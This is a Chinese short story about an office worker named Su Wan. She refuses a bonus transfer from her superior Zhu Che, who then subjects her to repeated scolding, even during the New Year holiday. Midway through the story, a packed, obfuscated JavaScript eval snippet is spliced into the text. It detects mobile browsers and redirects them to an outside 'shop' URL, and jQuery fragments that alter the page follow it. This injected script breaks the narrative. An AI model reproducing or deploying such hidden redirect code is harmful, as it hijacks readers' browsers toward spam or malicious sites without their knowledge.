酒店九楼，老板办公室。
苏晚站在电梯里，看着数字一格一格往上跳。电梯壁映出她的脸，表情有点苦——嘴角抿着，眉头微微蹙起，像是含着一颗还没化开的药片。
八.
九.
到了。
电梯门打开，走廊里铺着深灰色的地毯，簇新的，踩上去一点声音都没有。苏晚心想:好久没来酒店了，地毯都换新了。耐脏，还显得贵气。
走廊中间的那间办公室门开着，门上的铭牌亮晶晶的，苏晚觉得晃眼。
苏晚站在门口，深吸一口气。
敲门框。
“进来。”
她走进去，老板站在窗边，背对着她，正在打电话。落地窗外是这个城市的天际线，灰蓝色的天空下，楼群密密麻麻。老板的声音不高，偶尔嗯几声，偶尔说几句话，听不清说什么。
老板指了指办公桌，没回头。
苏晚走过去，站在桌边，等着。
办公室很安静，只有老板偶尔的应答声。墙4上的挂钟走得很慢，秒针一格格地挪。苏晚看着那根秒针，数着自己的呼吸。
不知道过了多久，老板挂了电话，走过来坐下。
苏晚把手里那沓凭证放在办公桌上。厚厚一叠，年底最后一批，再不签就来不及了。
老板拿起笔，一张张翻，一张张签。
第一张，签了
第二张，签了
第三张，签了。
第四张、第五张、第六张....笔尖在纸上划过，发出轻微的沙沙声。苏晚站在旁边，看着他签，心一点点放下来。
签到最后一张的时候，笔尖停了停。
那张2倍的奖励付款凭证。
老板抬起头，看着苏晚。
“这笔可以吃喝，”他说，“不是拿现金哦。”
苏晚愣了一下。
老板的目光在她脸上停了一秒，然后低下头，把那张单子签了。笔落下去，很稳。
签完，他把整沓凭证递还给她。
“谢谢老板。”苏晚接过来，正要转身—
“这些单据都需要李姐的签字。”老板补了一句，语气很平常，像顺便提个醒。
苏晚点点头：“知道。”
退出办公室，带上门。
走廊里还是那么安静，深灰色的地毯，白色的墙，尽头的一扇窗透着光。苏晚站了两秒，把那张2倍的凭证单独抽出来看了一眼。
收款人：朱澈。
她把凭证塞回去，往电梯走。
电梯门打开的时候，她想起老板那句话—“不是拿现金哦。”
牢记心中。
地下室行政办公室二楼
苏晚刚上楼梯，就听见对面茶座室里面传出来的说笑声。门开着，暖气很足，一股热烘烘的空气涌出来，带着茶香和点心的甜味。
她往里看了一眼。
李敏和周卉都在。茶桌前还坐着两个人，看工牌是省会酒店的领导，。四个人围着茶几喝茶，茶盘上摆着几碟点心。
“我都这把岁数了，”周卉的声音传出来，带着笑，“差不多该退休了，不需要再向上爬了。”
其中一名女领导笑着说：“周姐说笑了，你这才哪到哪。”
周卉摆摆手，端起茶杯抿了一口。
苏晚在门口站了站。
然后她敲了敲门框。
“李姐，”她走进去，“老板让我把这些单据拿给你签。”
说笑声停了一下。
李敏抬起头，看了她一眼，点了点头。没说话，也没动。
周卉从旁边桌上拿起一支笔，递过来。
李敏接过去，一张张签。签得很慢，每签一张都要看一眼。苏晚站在旁边等着，听着那几个继续聊天。
签完最后一张，李敏把笔放下，把凭证递还给苏晚。
“谢谢李姐。”苏晚说。
她转身往外走。走出办公室的时候，她听见身后又响起了说笑声。
她下了楼，转出行政办公室，面前是一道长长的坡走廊，走廊尽头是员工专用电梯。
苏晚看着面前的员工专用电梯，转向了边上的员工通道。走到一楼出口，一边是西餐厅的后门，门半开着，能听见里面餐具碰撞的声音；一边是酒店后花园出口。
苏晚想了想，穿过西餐厅的后门，走进了一楼大堂。
大堂人来人往。
有人在办入住，行李箱的轮子在地砖上滚动，发出咕噜咕噜的声音。有人在椅子上坐着等，低头看手机。前台的小姑娘正在接电话，声音甜甜的,说“好的”“没问题”“您稍等”。
苏晚站在那里，看着这些人
办入住的客人脸上带着旅途的疲惫。等座位的人时不时抬头看一眼餐厅的方向。前台的小姥娘挂了电话，又拿起另一部。
她觉得自己像个局外人。
苏晚攥了攥手里的凭证，往外走。
园区。办公室。
苏晚刚坐下来，包还没放稳，就看见朱澈走进来。
他走得很急，外套都没脱，直接站到她桌前。手指在她桌面上敲了敲，笃笃两声。
“你怎么不收转账？”
苏晚愣了一下，抬起头。
“老板说这笔钱可以吃喝，不能拿现金。”她说。
朱澈愣了一下：“没有关系的。”
苏晚摇摇头。
她不知道怎么解释。那张凭证收款人写的是朱澈，钱打过去也是在朱澈那里。老板说可以吃喝，那就吃喝好了。她想得很简单—这笔钱放在他那里，大家一起吃顿饭，她领这个情。或者他不请也行，她不计较这个。
她只是不想把钱收进自己口袋里。
那样的话，算什么？
她把那笔钱收下，然后呢？以后见面怎么算？他会不会觉得她贪？她自己会不会觉得欠他什么？那些复杂的、说不清的东西，她一想就觉得累。不如不要。
她想着，等明天，微信转账就会失效。这件事就过去了。。
“我不收。”她说。
朱澈看着她，没说话。过了一会儿，他转身走了。
第二天，微信转账失效。
苏晚看着那条“已过期”的提示，松了口气。
第三天。
苏晚刚接完一个电话，心里有点烦。
电话不知道是谁打来的，没有报名字，只是提醒她：要懂得尊重领导。然后挂了。
苏晚握着手机站在窗边。
看着窗外那两棵香樟树。年底的风把叶子吹得哗哗响，有几片黄叶打着旋儿落下来。她盯着那些叶子看，看它们怎么落，怎么在地上打几个滚，怎么被风吹到墙角。
尊重领导。
她哪里不尊重了？
朱澈走进来的时候，她还在窗边站着。
“我还是没想明白，”他站在她身后，“你为什么不收？”
苏晚转过身。
她看着他，忽然觉得胸口有什么东西堵着。那个电话，那句“尊重领导”，那张凭证，这些话—全都堵在一起堵得她喘不过气。
“这笔凭证的收款人要求写朱澈的时候，”她说，声音比平时冲，“我心里就有感觉，这笔钱不是我提过的奖励。”
朱澈皱起眉。
“我讨厌领导说一套做一套，”苏晚继续说，“嘴上说我辛苦了，行动上什么都没有。”
“那你是说我—”
“我不会收的，”她打断他，“是下意识本着心不收。我没想过钱是多少，大也好小也好，我没想过。”
朱澈的脸色沉下来。
“老板也提醒过了，”苏晚说，“可以吃喝。那也是不错的。”
朱澈看着她，沉默了几秒。
他转身走了。
没再说话。
从那以后，日子变了。
一天一小骂，三天一大骂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437401|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏晚不知道自己做错了什么。那些骂来得毫无缘由—
有时候是因为报表格式，“你这表格做给谁看的？数字对不齐，你自己看看。”
有时候是因为一句话没说对，“你刚才跟租户说什么？谁让你这么说的？”
有时候什么原因都没有，他走进来，看她一眼，就开始骂。骂她工作态度，骂她做事不用心，骂她不知道感恩。
她站在那儿听着，一句都不回。
窗外那两棵香樟树，叶子越来越少，枝丫越来越秃。
苏晚心累。
累到下班回家，不想说话，不想吃饭，就坐在沙发上发呆。邓琪打电话来问她怎么样，她说还好。邓琪说最近有个电影还不错，要不要一起去看？她说好，改天。挂了电话，她就那么坐着，看着床边柜子里一排很久没动过的书，看着窗外的天色一点一点暗下去。
她不知道怎么跟人说。
怎么说？说我没收那笔钱，我领导就开始骂我？
可那笔钱，收款人写的是他。她没收，那钱就在他那儿。他有什么可骂的？
她想不明白。
快过年了。
大街小巷开始冷清下来了。坐在公交车上，看着倒退的街景，多的是红色的东西——灯笼，中国结，小区高楼窗户上贴的福字。大家都喜气洋洋的，只有她笑不出来。
她越来越沉默了，越来越不会说话了。
初五。
苏晚没想到，大过年的，朱澈一进门就开骂。
她那天来得早，办公室里就她一个人。她正对着电脑发呆，想着晚上回家吃什么，门就被推开了。
朱澈站在门口，脸黑着。
“苏晚，”他说，“你过来。”
她站起来，走过去。
然后他就开始了。
骂她年前的工作没做好。骂她不负责任。骂她不知道好歹。骂她辜负了她的信任。骂她——
苏晚站在那里，听着那些话一句一句砸过来。
窗外有人在放鞭炮，噼里啪啦的响，盖不住他的声音。
她没回嘴，就那么看着他。
看着他涨红的脸，看着他张合的嘴，看着他手指着她的时候，那根手指微微发抖。
她忽然想起6年前，她刚来园区的时候。那时候他对她很客气，说话总是带着笑。她加班晚了，他会说，早点回去，别太累。她做错事了，他会说，没事，慢慢来，谁都有第一次。
什么时候变的？
是从那笔钱开始吗？还是更早？还是从来就是这样，只是她以前没发现？
她不知道。
她只知道，这几年在园区，再难的时候她也没有大过年有催过账。租户再拖，她也是好好说，想着过完年再解决。她再难，也想给别人一个好好的年。
现在有人站在她面前，大年初五，指着她骂。
那一刻，有什么东西在心里断了。
不是委屈，不是愤怒，是一种很累很累的感觉，累到极致之后，忽然变得很清醒。
她看着他。
看着他的嘴一张一合，看着那些话从里面蹦出来。她听不清他在说什么，他的脸开始模糊。
现在这张脸，在骂她。
那张脸对她笑过。那张脸说过“好好合作。”那张脸在酒桌上，拉着她走过人群，说“我们作为一个团队。”
现在这张脸，在骂她。
从这一刻起，她讨厌的不是那些事。
那些报表，那些签字顺序，那些听不懂的人情世故——都不重要了。
她讨厌的是这个人。
窗外又一阵鞭炮响。
迎财神。
初五迎财神，家家户户放鞭炮。
苏晚坐在办公室里，一直听到鞭炮声停下来。
朱澈什么时候走的，她不知道。
窗外的天空灰蒙蒙的。那两棵香樟树光秃秃的。在风里摇晃。